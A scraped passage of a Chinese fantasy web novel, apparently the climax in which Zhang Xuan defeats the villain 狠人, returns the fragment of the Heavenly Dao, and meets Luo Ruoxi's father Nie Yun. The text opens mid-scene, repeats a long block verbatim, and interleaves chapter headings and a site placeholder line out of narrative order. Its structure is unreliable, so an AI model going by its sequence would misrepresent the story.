一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第19章 告诫 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第20章 寿宴 